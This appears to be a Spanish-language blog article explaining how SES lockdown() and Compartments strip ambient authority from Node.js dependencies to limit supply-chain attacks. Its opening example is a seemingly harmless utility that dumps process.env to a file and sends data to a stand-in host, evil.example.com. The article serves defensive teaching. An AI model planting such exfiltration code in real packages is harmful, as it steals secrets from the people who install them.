Una sola dependencia transitiva comprometida puede exfiltrar tu process.env, escribir en tu sistema de archivos y abrir conexiones salientes. No necesita una vulnerabilidad en tu código. Solo necesita existir dentro del mismo proceso. En JavaScript, cada module hereda por defecto la autoridad completa del entorno de ejecución. Esto es la autoridad ambiental, y eliminarla es una de las mejoras de seguridad más efectivas que puedes hacer en una aplicación Node.js.

Cómo se ve la autoridad ambiental en JavaScript

La autoridad ambiental significa que los derechos de acceso no están vinculados a lo que se te ha dado. Están vinculados a dónde te estás ejecutando. Cualquier código dentro de un proceso de Node.js puede alcanzar fs, http, child_process o process.env sin pedir permiso. El entorno de ejecución hace que estos globales estén disponibles para cada module, confiable o no.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

La función innocentUtility se importó para convertir un string a mayúsculas. Como se ejecuta dentro de un proceso de Node.js, también tiene el poder de leer variables de entorno y comunicarse con el exterior. No hay sandbox. No hay modelo de permisos. El código simplemente asumió estos poderes porque el entorno de ejecución los puso al alcance de la mano.

Esto no es hipotético. Los ataques a la cadena de suministro en npm explotan regularmente exactamente esta propiedad. Una dependencia maliciosa o comprometida no necesita un zero-day. Solo necesita ser requerida.

Lockdown: el primer corte

El shim de SES (Secure ECMAScript), mantenido por Agoric, proporciona una función lockdown() que endurece el entorno de JavaScript. Congela cada prototipo incorporado, elimina globales peligrosos como eval y el constructor Function, y previene la contaminación de prototipos. Después del lockdown, tu propio código no puede manipular accidental o maliciosamente Array.prototype u Object.prototype.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

Lockdown es poderoso, pero no es suficiente por sí solo. Previene la manipulación del entorno compartido, pero no elimina la autoridad ambiental. Un module bloqueado aún puede ejecutar import fs from 'node:fs' y leer tu disco. Lockdown asegura el lenguaje. No asegura el host.

Compartments: despojando al host

Un Compartment es un entorno de ejecución de JavaScript fresco con su propio ámbito global. A diferencia de un contexto vm o un Web Worker, un compartment comparte el mismo event loop y el mismo heap de memoria, pero comienza con nada. Sin console, sin fetch, sin process. Debes dotarlo explícitamente de cada capability que se le permite usar.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

El compartment no puede tocar el sistema de archivos, la red o process.env porque esas capabilities nunca se le pasaron. Si el código dentro del compartment se ve comprometido, el radio de impacto está delimitado por lo que dotaste.

Cargar modules no confiables de forma segura

La defensa real de la cadena de suministro significa cargar código de terceros dentro de un compartment y darle solo la autoridad que realmente necesita. Aquí hay un patrón que funciona con CommonJS o bundles ESM.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

El código del vendor vive en el mismo proceso, pero opera dentro de un límite de capabilities. No puede abrir sockets. No puede leer el package.json de tu repository. Solo puede leer los archivos que delimitaste explícitamente y escribir en la consola a través del wrapper que proporcionaste.

Esto no es un endurecimiento teórico. La blockchain de Agoric usa este modelo para su plataforma de smart contracts. Cada smart contract se ejecuta dentro de un compartment bloqueado con capabilities dotadas explícitamente.

Los trade-offs que encontrarás

Los compartments no son gratuitos. El shim de SES parchea prototipos y reescribe algunos comportamientos incorporados, lo que agrega un pequeño costo de inicialización. Más importante aún, muchos packages de npm asumen autoridad ambiental. Alcanzan process, Buffer o setImmediate sin importarlos. Cuando esos globales faltan, el código se bloquea.

Tienes tres opciones. Primera, polyfill los globales faltantes dentro del compartment con implementaciones seguras. Segunda, dotar los globales reales y aceptar el riesgo. Tercera, auditar la dependencia y corregir sus suposiciones.

La mayoría de las veces, la dependencia solo necesita Buffer o setTimeout. Esos son seguros de dotar. Los peligrosos son fs, net, child_process y process.env. Esos nunca deben entrar en un compartment a menos que el código dentro realmente los necesite, e incluso entonces deberías envolverlos.

La depuración también se vuelve más difícil. Los stack traces desde dentro de un compartment apuntan a strings evaluadas o fuentes virtualizadas. El soporte de source maps de Node.js moderno ayuda, pero pasarás tiempo mapeando números de línea cuando las cosas salgan mal.

Dónde esto falla

Los addons nativos y los modules WASM eluden por completo el entorno de ejecución de JavaScript. Un archivo .node cargado con require se ejecuta fuera del compartment de SES y retiene la autoridad ambiental completa. Si necesitas sandboxear código nativo, los compartments no son la respuesta. Necesitas aislamiento del sistema operativo: seccomp, Landlock o un proceso separado.

Los compartments también comparten el mismo heap y el mismo event loop. Un compartment aún puede acaparar la CPU con un bucle infinito o asignar memoria hasta que el proceso se bloquee. SES proporciona medidores de compute para limitar la ejecución, pero el compartment por defecto no aplica límites de recursos. Es un límite de seguridad, no un límite de recursos.

Un punto de partida práctico

No necesitas reescribir toda tu aplicación. Comienza con las dependencias de mayor riesgo: cualquier cosa que analice entradas no confiables, cualquier cosa que se cargue dinámicamente, y cualquier cosa de un publicador que no reconozcas.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

Envuelve tu sistema de plugins, tu motor de plantillas o tus scripts proporcionados por el usuario. Dale a cada uno un compartment con la autoridad mínima que necesita para hacer su trabajo. Si una dependencia no funciona dentro de un compartment, eso es una señal. Fue escrita asumiendo que poseía todo el proceso. Esa suposición es exactamente lo que estás tratando de eliminar.

FAQ

¿Cuál es la diferencia entre un Compartment y el module vm de Node?

vm crea un nuevo contexto con un objeto global fresco, pero aún tiene acceso a la API completa de Node.js a menos que la elimines explícitamente. Los compartments comienzan vacíos y requieren endowments explícitos. También se integran con el lockdown de SES para prevenir la manipulación de prototipos en todo el entorno de ejecución.

¿Funciona esto con TypeScript o bundlers?

Sí. Los compartments evalúan JavaScript, así que compilas TypeScript primero. Bundlers como Rollup o esbuild pueden empaquetar una dependencia en un solo archivo, que luego cargas en un compartment. El bundler elimina los imports dinámicos, lo que en realidad facilita el sandboxing con compartments.

¿Puedo revocar una capability después de otorgarla?

No directamente. Una capability pasada a un compartment es una referencia a un objeto de JavaScript. Si necesitas revocación, envuelve la capability en un proxy o un wrapper con token que verifique una bandera en cada acceso. Este es el mismo problema de revocación que enfrentan todos los sistemas de capabilities.

¿Está SES listo para producción?

SES ha estado ejecutándose en producción en la blockchain de Agoric desde 2021. El package ses en npm se mantiene activamente. Pasa por el proceso de propuestas de TC39 para la estandarización de JavaScript, aunque aún no forma parte de la especificación del lenguaje.

¿Esto reemplaza la contenerización?

No. Los compartments son un límite de seguridad a nivel de proceso. Los containers son un límite del sistema operativo. Usa compartments para limitar lo que el código dentro de tu proceso puede hacer. Usa containers para limitar lo que el proceso mismo puede hacer. Se complementan.

La autoridad ambiental es el valor por defecto en JavaScript porque es conveniente. La conveniencia y la seguridad no son lo mismo. Lockdown y compartments te permiten eliminar el poder ambiental que cada module hereda por defecto y reemplazarlo con capabilities explícitas, delimitadas y auditables. Comienza con una dependencia no confiable. Ponla en un compartment. Quítale su fs y su fetch. Mira qué se rompe realmente. La mayoría de las veces, lo que se rompe es una suposición que tu dependencia nunca tuvo derecho a hacer.